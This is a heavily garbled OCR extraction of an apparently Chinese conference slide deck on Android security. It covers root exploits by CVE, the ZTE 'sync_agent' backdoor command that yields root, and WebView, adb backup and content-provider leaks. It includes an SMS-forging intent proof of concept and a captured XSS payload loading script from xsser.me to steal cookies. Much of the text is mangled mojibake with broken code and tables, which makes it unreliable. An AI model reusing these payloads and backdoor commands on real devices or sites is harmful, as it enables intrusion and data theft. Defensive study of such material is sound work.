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Vulnerabilities By Year Vulnerabilities By Type

9 2009 5 10 M Denial of Service 10
M 20101 Bypass Something 4
M 20119 M Execute Code 7

M 20128 7 =2 Memory Corruption 2
5 20133 Gain Information 4
™ Gain Privilege 4
3 4 4 4 2 Overflow 3
3
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® CVE-2009-1185 Exploid

® CVE-2011-1823

Gingerbreak
® CVE-2012-6422

Exynosrageagainstthecage
/adb setuidCVE-2011-1149
psneuterLevitatorASHMEM

® CVE-2012-0056
Mempodroid

® CVE-2009-2692 Wunderbar o

® CVE-2011-3874 ZergRush

® Zimperlich / Zygote setuid
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® Android 4.0.4 ICS&1RINEEE
Settings.apk— LRGSR NRE
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® magic code: sync agent ztex1609523

e

export PATH=/data/loca
sync_agent ztex1609523
i

10=0(root) gid=O(root) groups=1015(sdcard_rw), 300 .

§
]
[
u
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http://www.symantec.com/connect/blogs/zte-score-privilege-escalation-nutshell
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® {FFQualcomm
MSM8960ith F Y
Motorola bootloader

® (EF3 Snapdragonity &
HFYSamsung Galaxy

® CPU/TrustZone S4

® bootloader

® [gDan RosenbergZj
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Linux Kernel 1-day

® CVE-2012-0056 LinuxH#YJ/proc/pid/mem
NEHBE NSRRI FARE

® CVE-2013-2094 LinuxttgEit a2 B R
KEARAEH SRR FARE

® CVE-2013-1773 LinuxR#ZVFATX 4 Z
S P X R S MR RIZRFHR
iE|

* THEZ, tbul......




2=/3: FirefoxOSIEMN
® ZTE Open, $£—&&EBFirefoxOSF
¥, 2013.07.02%%

¢ =XZEroot:
http://pof.eslack.org/2013/07/05/zte-
open-firefoxos-phone-root-and-first-
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® ==2{5l4: CVE-2010-1807 Android
2.0/2.1 Webkit Use-After-Free Remote

® http://lwww.exploit-db.com/exploits/15548/

® X{I5: USSDIZIZIEIRIFIE

® Zf6: CrowdStrike @ RSAC 2012 &
Black Hat US 2012

®* RAKRAFEIWebView]wE, EAndroid 2.2F0
Android 4.0.1 E3%15§18 & HIremote root shell

BERGERZTERBAS

® E{I7: E5NAKIZEPANX TFE

® 4%5FIh: FMEEAYEmailFIBrowser
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Z59: WebViewlyE1ZH1 4
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demo 2

® adb backup + ZHBEAX 12 {#/4ETF

demo 3

® adb backup + WebView cache + OAuth
login
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fsdcard/tencent/M /60 0 81 (- NaNs *, wpa_supplicant.conf
ctrl_interface=eth®
update_config=1

networks{

s’
}
nétworks{
ssid=""Cloud™ ) "MacBook Pro™"
Key.mgmt=NONE
outh_alg=OPEN SHARED
wep, keyd="1234567890123"
priority=15
}
networks{
$
243,
key, mgmt=#PA-PSK
priority=13
}

ERXkE: 5T
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[ XaXe combg am
<string name="occount_nusber">136HRR </ st ring>
<string names="occount_musber_service”>13600R2 </string>
<boolean name«"occount_crecte_flog™ value«"true™ />
<boolean name="gccount resesberpn” value="true” /»

Cardholder name
Andrew Hoog

<int nome="occount_net_type” value="0" /> Cord aumber
<boolean name="occount_outo_register® value="false® /> -
<string name-"occount passeord”>NT =</ String»

<booleoan name="occount _enterprise” value="false™ /> Current balance
«<boolean name="occount_accept_protocol”™ value="true” /»
<booleon nome="occount_login_stotus” value="true®™ /»

<boolean name="occount_first_flog™ velue="false" /> Available to spend
<string name="account_ematil 1ff-\cr'rn'.n~1hl,cmd E ]
string>

<string name="occount_email*>xicdI#163. con</string> Statement balance

Payment due date

Citi contact number

B 3RE: viaForensics
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# |s -| /data/data/com.skype.merlin_mecha/files/jcaseap

-rw-rw-rw- app_152 app_152 331776 2011-04-13 00:08 main.db
-rw-rw-rw- app_152 app_152 119528 2011-04-13 00:08 main.db-journal
-rw-rw-rw- app_152 app_152 40960 2011-04-11 14:05 keyval.db
-rw-rw-rw- app_152 app_152 3522 2011-04-12 23:39 config.xml

drwxrwxrwx app_152 app_152 2011-04-11 14:05 voicemail
-rw-rw-rw- app_152 app_152 0 2011-04-11 14:05 config.lck
-rw-rw-rw- app_152 app_152 61440 2011-04-13 00:08 bistats.db
drwxrwxrwx app_152 app_152 2011-04-12 21:49 chatsync

-rw-rw-rw- app_152 app_152 12824 2011-04-11 14:05 keyval.db-journal
-rw-rw-rw- app_152 app_152 33344 2011-04-13 00:08 bistats.db-journal

EF3REB: Zach Lanier
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attack vector: open wifi, weak encrypted wifi, wifi
phishing ...
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® ClientLogin: Google¥t{4Z pHihix

SSLE{5HY (o]

® SHE{FEMIEP BIXE certification pinning

MABILES, ZERIEPBEIR
CAIEP, AilEhostname
CAIEP, RBITEIEP (AHFER/NFIN)

attack vector: SSL MITM
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Table 3: Results of the SSL pinning analysis.

App

Installs SSL Pinning

® S.Fahl, M. Harbach, T. Amazon MP3 10-50 millicn
. Chrome 0.5-1 million
Muders, M. Sm|th, L. Dolphin Browser HD  10-50 million
2 Dropbox 10-50 million
Baqmgartne“r’ and B. Ebay 10-50 million
Freisleben, “Why eve and Expedia Bookings  0.5-1 million
B Facebook Messenger  10-50 million
mallo ry love and rp id: an Facebook 100-500 million
analysis of android SSL Foursquare 5-10 million
f : ” GMail 100-500 million
(|n)SeCUr|ty, pres'ented at the Google Play Market ~ All Phones
CCS '12: Proceedings of the Google+ 10-50 million
Hotmail 5-10 million
2012 ACM conference on Instagram 510 million
Com puter and OfficeSuite Pro 6 1-5 million
. . . PayPal 1-5 million
communications security, Twitter 50-100 million v
2012. Voxer Walkie Talkie  10-50 million v
Yahoo! Messenger 10-50 million
Yahoo! Mail 10-50 million
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Name - Size Kind
AndroidManifest.xmi IKB XML Document
» [ assets == Folder
M classes.dex 694 KB Unix Executable File
gameNativeConfigs.xml 147 bytes XML Document |
& lordpog me— U —ce s
* [ META-INF | . hod protected onCreate(Landroid /os/Bundle )V
M gqlord1.6_: egist 6
> res

® resourcesa  Const/4 v3, 0x0
. const/4 v0, O0x0
const-string v0, "Claud-SecMobi®
const-string v1, “Code here is running.”
invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String I
if-eqz p1, :cond_S¢ |

const-string v1, “KEY_START_FROAMessage Filter
daud

invoke-virtual [pl, v1, v3}, Landr

©! Timestamp Level Qs PO Message

move-result vl 18:09:06:757 error  Claud-SecMobi 843 Code here is running. |

=121 BEARIE

@ “file/ R TIERS :

L
&
ADDITIONAL_DEFAULT_PROPERTIE

WooYun.org

]

ro.secure=|

ro.allow.mock | won=0
ro.debuggable=0
persist_service adb enable=0

-
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® SQLiEFA
® XSSHARFE
® OAUthMUERARH

ZF22: SQLIEA

O phpinfol [ tpinews..d=12025%27 | + | 4
€ w52 hutudan.com
Systes [Vindows ¥T ehaO0S34 5.2 build 3180 Ofindows Server 2003 2 §

[Service Fack 2) 1588
[Jen 10 2012 16:15:55
MSveS (Vi suad CH+ 2008)

Architecturs

Contigure v sty s Tl el

Connind barps ubleminapi” “=i thent-nasgl’
e i 3 —j.nw-@mmm
P el © e O e — . s

€ «s2 hutudan.com.

Windows IP Conflsur:l)un Ethernet adapter Z34i##E 3: Connection-specific DNS Suffix . : Autocon
..... 265.255.0.0 Default Gateway . . . . . . . . . : Ethernet adapter it a: C

:10,291.124.131 Subnet Nask . . . .+ + v 2 0 4 . 0 fault Gateway . .
Cnmertmn s-pecxh DNS Suffix . : IPAddress. . . . . ... .... 4.122. 42 Subnet hq .

3.4.127.254 Default Gateway . . . . . . . . . @

BR*kE: 57
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" bgcolor=""#F8FBF8">

<div style="width: 120px">2012-09-30 07 :23:04</div></td>

<td ></ta>

<td align=" ><div class="advice_cont2" style="width:180px;
overflow:hidden; >\ "\&quot;&gt;&lt;script src=http://xsser.me/plQKKztgt;&lt;/scripthgt;
(2TE_roamer,2.3.7,3205480,32) {/div></td>

<td align="center" class="advice_cont3"><{div style="width: 180px; overflow: hidden"><a
href="./ip_reconnoned.php?type=andriodxxtkeyword=-JEITas 1N
TR T I g I ehbate=2012-08-31&eDate=2012-09-30"> * &quot ; &gt ; &1t ;script
src=http://xsser.me/plQKKzEgt ;&1t;/scriptigt;</a>

<tr
<td

EiT:] 2012-09-30 14:50:48 e location : http:i/data. meitu.comfipadmin/ip_recommonedp |
hp?type=andriodix 1

« toplocation : http:/data.meitu.com/fipadminfip_recommone  « |

d.php?type=andriodxx '

« cookie : abc_password=of D ]

foone’Y o |

& opener
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Follow TCP Stresm =10(x|
Stream Conten
I~ |
[<SyncML>
[<SyncHdr>
[<veroTD>1.2</veroTD>|
j<verProto>SyncML/L. 2</VerProto>
<ses510n1D>1343888465021</5855 10n10>
|<MsgID>1</MSQID>
[<Target><LocURI><! [coaTA[http: //download. Tezo. sdo. com:8080/Funambol/
[ds]]></LocURI></Target>
<Source><LocurI>lezo_lezo_lezo_lezo_ ozel_ozel_ozel_ozel</
LocURI><LocName></LocName></Source>
[<Cred>
kmeta><Type xm'\ns="s¥n(m'\ :met inf">syncml:auth-basic</Types
[kFormat xmlns="syncm] :metinf">b64 </Formats>
l</Meta>
DAt a>0jEWYTMZOTK XMZEZNDR IMT I SMZUWM2V OGY 2 YWE20WQ4 VUXT </Data></Creds>
[kMeta><MaxMsgsize>16384 </Maxmsgsizer</Metasr
j</SyncHdr>
cBody>
<alert>
lcmd1p>1</cmdTDs>
lkDaTa»203</Data>
<Item>
[<Target><LocURI>card</LoCURI>
[</Target>
<Source><LocURI>contacts</LOCURI></Source>
<meta>
l<anchor xm'\r\s="sgncm'\ imetinf"s
lcLast>1343988155026</Last>
f<Next>134 3088405021 </Next>
[</Anchor>
j</Meta> =l
[Entive conversation 2728 bytes) |
Find Save As Brint |C ASCII € EBCDIC ( Hex Dump C C Arrays (& Raw
Help Filter Out Thiz Stresn | Close l
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]
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Table: | config 3
_id group_name
36 199 con_user
37 200/ con_user
38 201|con_user
39 202/con_user
40 203|con_user
41 204:mn_user
42 205|con_user
43 207 con_user

‘N New Record Dele
name value

service_url_upc 1343052755333
stat_control 269

stat_url http://115.236.113.55/log
book_capability [application/prisbookcontainer, a|
user_name xia 163.com
user_password N =
user_nick_nam Claud

user_anonymity 2012-07-23T09:53:45+08:00

=15127:

® Google Wallet

CERHTYRES
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activity, service, receiverZ[8@itintent

ERXF2NFA, provideriZ it EIETEE

* HHRE: WE=HHA, KSEII 6
VAEIAE:VE ¢

® intent#EI=EEIENT: DoS. &, 1EEY
EE

® provider®#E: IXEVEIE, B AEHIE
12

if("284".equals(paramIntent.getData().getHost())) {
m_logFileName =
CitUtils.getLogFilePath("bugreport");

<receiver android:name=".CitBroadcastReceiver'"> ST e
<intent- 1llter> asyncExecute(new Runnable() {
<action android:name= public void run() {
"androi rDvider.Telcphuny.SECRET_CUDE” /> try {
<data andr cheme="android_secret_code" String str = CitBroadcastReceiver.TAG;
64663" /> String[] cmd = new String[3];
<data ="android_secret_code" cmd[@] = "bugreport";
284" /> cmd[1] = “>";
<data ="android_secret_code" cmd[2] = m_logFileName;
3 ) 6564" /> CitUtils.rootExecProgram(str, cmd, true);
</1ntenl filter> }
</receiver> } Ioveaens
H;

Intent intent = new Intent();

intent.setAction("android.provider.Telephony.SECRET
_CODE");

intent.setData(Uri,parse("android_secret_code://
284"));

sendBroadcast (intent);
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public void getChatMsg() {
String[] projection = {"x from
im_message_table--"};
Uri uri = Uri.parse("content://
com.sina.weibo.blogProvider/query/im");
Cursor mCursor = getContentResolver().query(uri,
projection, null, null, null);
if (null != mCursor && mCursor.getCount() > @) {
String msg = "";
while (mCursor. moveToNext()) {
msg = mCursor.getString(mCursor.
getColumnIndex("content"));

55 IR EIE R

® Z&RHlogcat{Lhg
® XFhiE7E (webview, #E......)
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Smishing

® 20125 1182H, Xuxian JiangAfRiE(S
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@800 Smishing Vulnerability in Multiple Android Platforms e
| 1_] » , 8 www.csc.ncsu.edu/faculty/jiang/smishing htm ¢ | Reader m

Smishing Vulnerability in Multiple Android Platforms (including |
Gingerbread, Ice Cream Sandwich, and Jelly Bean)

By Xuxian Jiang, Associate Professor, Department of Computer Science, NC State University

‘While continuing our efforts on various smartphone-related research projects, we came across a smishing
(SMS-Phishing) vulnerability in popular Android platforms. This vulnerability allows a running app on an
Android phone to fake arbitrary SMS text messages, which will then be received by phone users. We believe
such a vulnerability can be readily exploited to launch various phishing attacks (e.g., [1], [2], and [3]).

One serious aspect of the vulnerability is that it does not require the (exploiting) app to request any permission
to launch the attack. (In other words, this can be characterized as a WRITE_SMS capability leak.) Another
serious aspect is that the vulnerability appears to be present in multiple Android platforms — in fact, because
the vulnerability is contained in the Android Open Source Project (or AOSP), we suspect it exists in all recen

Intent intent = new Intent();
intent.setClassName("com.android.mms",

"com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus”, new Object[] { pdu });
intent.putExtra("format™, “3gpp");
context.startService(intent);

e B (03 R 0.25K/s 7.l 8 15:46

N ®

IERER RS XD

EH%E: £

Servicesclass (3

if (this.task.equals("delivermsg"))

String str3 = local)SONObject2.getString("content™);

Intent locallntent3 = new Intent();
locallntent3.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiverService");
locallntent3.setAction("android.provider.Telephony.SMS_RECEIVED");
Object[] arrayOfObject4 = new Object[1];

arrayOfObject4[@] = Tools.hexStringToBytes(str3);
locallntent3.putExtra("pdus”, arrayOfObjectd);
localIntent3.putExtra(”format”, "3gpp");
startService(localIntent3);

statistic(-400);

stopSelf();

return;
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[zl Saving screenshot... [la Saving screenshot...

App info IGI System

Jj‘ com.android.system.admin
TN
L

version 2.0

Storage
Total 380KB
App 328KB
USB storage app 0.00B
Data 52.00KB
Phone storage 0.00B
com.android.system.admin has been
denied superuser permissions:
Cache
id
Cache 0.00B

EF3kE: Kaspersky




8 0o

</activity>

<activity =

<service =

<receiver ="
<meta-data = 1
<intent-filter>

<action android:

</intent-filter>

</receiver>

<servicel}

<receiver I [
<intent-filter =
<action android:
<action android:
<action android:
</intent-filter>
</receiver>
<receiver =" [T10">
<intent-filter =
<action android:
<action android:
<action android:

vim "5
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Ad Network Detector (1.2): http://market. id. com/details ?id=com. r
App Backup & Restore (1.0.5): http://rr android ils ?id=mobi.infolife.

App Cache Cleaner (1.1.3): http:/market.android 2id= i.infolife.cache
ARPspoof: https://github.cc f.apkiar_code

CACertMan (0.0.2-20110906): http://market.androi

CacheMate for Root Users Free (2.4.2): http://| android. ils ?id=com.aac hy

demo

Carrier 1Q Detector (1.1.1): http://market.android.com/details ?id=com.lookout.camierigdetector

DeuterlDE (0.5): http:/t android ils ?id=com.didactic. DeuterlDE

Devcheats (1.2): http://market.android.com/details ?id=miquelco.devcheats
DroidVPN (1.8.7c): hitp://market. id, jls i

Gibberbot (0.0.9-RC4): http:/imarket.android.com/details ?id=info. guardianproject.otr.app.im

InfoSec (40): http://market.android. details?id=t free

IPv6 and More (2.1): http://market.android.com/details ?id=com.tsts ipv6

IrcDroid (4.0.8): http://market.android ?id=pl.xampear.ircdroid

LUKS Manager (2.4): http://market.android.com/details ?id=com.nemesis 2. luksmanager

Naked Security (1.4.8.4060): http://market.android.com/details ?id=com.conduit.app a6722ad0d452404 1

NoteCipher (0.0.4.1): http://mr android. /details Zid=info.

ObscuraCam (2.0-RC2b): http://market.android. com/details ?id=org.witness . ssc| el

OpenVPN Settings (0.4.11): http://market.android. Pid=de. it.android.openvpn
Packet Injection (1.2): http://market.android.com/details ?id=ot.semba

Pamn IP (nmap https://play.google. ?id=com.wjholden nmap
Pastebin for Android (3.5): hitp://market.android ils ?id=com.jmz

Prey (0.5): hitp://market.android.com/details ?id=com.prey

USB Device Info (0.0.5): hitp://market.android. com/details ?id=aws.apps. usbD:

VpniClick (2.21): http://market.android.com/details ?id=com.vpnoneclick.android

Wifi Analyzer (3.2.232): http://market.android.com/details?id=com.farproc.wifi.analyzer

WiFi Key Recovery (0.0.8): http://market.android.com/details ?id=aws .apps . wifikeyRecovery
P (1.0): http:/ android.com/details 2id=wi 2 azelart.fr

AdFree (0.8.44): http://market.android.com/details ?id=com.bigtincan.android.adfree




USB Cleaver

® T FHRERautorun.infRI X 2exeX 4 Z|
SD+

® SXHVPCHZETZRYFirefox. IE. Chrome
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® 'miEIZYE: Mercury, academic works
¢ milE I
® JmIEAEM : Mercury, Belarc
® L2 F%: OWASP, viaForensics
* M TH%k
® ZGHE: SEAndroid
¢ LLERR

end & thanks

® Claud Xiao <secmobi@gmail.com>




